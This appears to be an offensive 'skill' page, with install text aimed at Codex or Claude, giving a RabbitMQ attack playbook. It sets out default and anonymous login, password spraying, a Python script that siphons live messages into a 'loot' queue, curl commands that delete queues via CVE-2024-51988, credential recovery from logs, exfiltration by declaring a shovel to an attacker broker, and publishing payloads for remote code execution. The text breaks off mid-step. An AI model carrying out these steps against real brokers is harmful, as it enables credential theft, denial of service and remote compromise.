Install with Codex or Claude Copy this prompt, paste it into Codex, Claude, or another assistant, and let it review the skill page and install it for you.
A direct command skips the review prompt. Inspect the source before running it.
Default ports 5672/tcp (AMQP 0-9-1 and 1.0, plaintext) and 5671/tcp (TLS). Management HTTP API/UI on 15672; related ports: 1883/8883 MQTT, 4369 epmd, 25672 Erlang dist, 61613/61614 STOMP.
When nmap shows 5672/tcp open amqp RabbitMQ 3.1.5 (0-9).
A broker holds in-transit messages โ often containing credentials, tokens, PII, and job/command payloads โ making read or publish access very impactful.
Default credentials guest:guest โ RabbitMQ restricts guest to localhost via loopback_users, but many Docker/IoT images disable that check. Always test remote login rather than assuming it's blocked.
ANONYMOUS / weak SASL โ if the broker advertises ANONYMOUS, connect with empty user/pass (maps to anonymous_login_user, defaults to guest). PLAIN/AMQPLAIN are on by default.
Message sniffing via broad binds โ topic authorization is often weaker than defenders expect; binding or / to siphons live messages. Bind (, ) for a live recon feed of logins/queues.
#
audit.#
payments.*
amq.topic
amq.rabbitmq.event
user.#
connection.#
Stream queue historical replay โ x-queue-type=stream queues are append-only; a read account can replay old messages (x-stream-offset:first) recovering tokens/PII long after consumption.
Queue-deletion DoS (CVE-2024-51988) โ RabbitMQ <= 3.12.10 skips the configure permission check on HTTP-API queue deletes; a read/write-only user can delete arbitrary queues.
Authorization-header log leak โ until 4.0.8/4.1.0 the management API logs the base64 Authorization header on a non-existent resource; recover creds from /var/log/rabbitmq/.
Message-to-RCE sink โ if a downstream worker pipes message content into bash -c "$MSG"/os.system/shell=True, publish access = RCE.
How to CONFIRM
Default/anon login: the amqp.Connection(...).connect() succeeds remotely (no ACCESS_REFUSED).
Sniffing: a temporary queue bound to amq.topic/amq.rabbitmq.event receives message bodies/headers.
CVE-2024-51988: curl -X DELETE .../api/queues/%2F/<queue> succeeds with a low-priv user (queue disappears).
RCE: publish a benign probe (id, whoami) and observe its output in a results queue/log before upgrading.
Workflow
Step 1: Enumerate
Run amqp-info, probe AMQPS, and read server_properties/SASL mechanisms. Note version (for CVE mapping) and whether the management plugin (15672) is enabled.
Step 2: Authenticate / unauth access
Test guest:guest remotely, try ANONYMOUS with empty creds, and password-spray known users (AMQP/STOMP brute force). Use the passive queue.declare/exchange.declare permission oracle (NOT_FOUND vs ACCESS_REFUSED) to enumerate object names without creating artifacts.
Step 3: Exploit / Extract
Sniff messages without deleting them:
import pika
creds = pika.PlainCredentials('user','pass')
conn = pika.BlockingConnection(pika.ConnectionParameters('<IP>',5672,'/',creds))
ch = conn.channel()
ch.queue_declare(queue='loot', exclusive=True, auto_delete=True)
ch.queue_bind(queue='loot', exchange='amq.topic', routing_key='#') # or audit.# / payments.*for method, props, body in ch.consume('loot', inactivity_timeout=5):
if body: print(method.routing_key, body)
Replay stream history: bind/consume with arguments={'x-stream-offset':'first'}. Monitor events: bind amq.rabbitmq.event with key user.# and inspect props.headers (body is blank).
DoS via CVE-2024-51988:
rabbitmqadmin -H target -P 15672 -u user -p pass show overview | grep -i version # confirm vuln
curl -k -u user:pass -X DELETE https://target:15672/api/queues/%2F/payments-processing
Trigger and harvest the Authorization-header log leak:
Exfiltrate messages by declaring a shovel to an attacker broker (rabbitmqadmin shovels declare_amqp091 ...). Reuse decoded/sniffed creds over AMQP/STOMP/MQTT or the OS. If a consumer executes message bodies, publish a payload (incl. via the management API) for RCE:
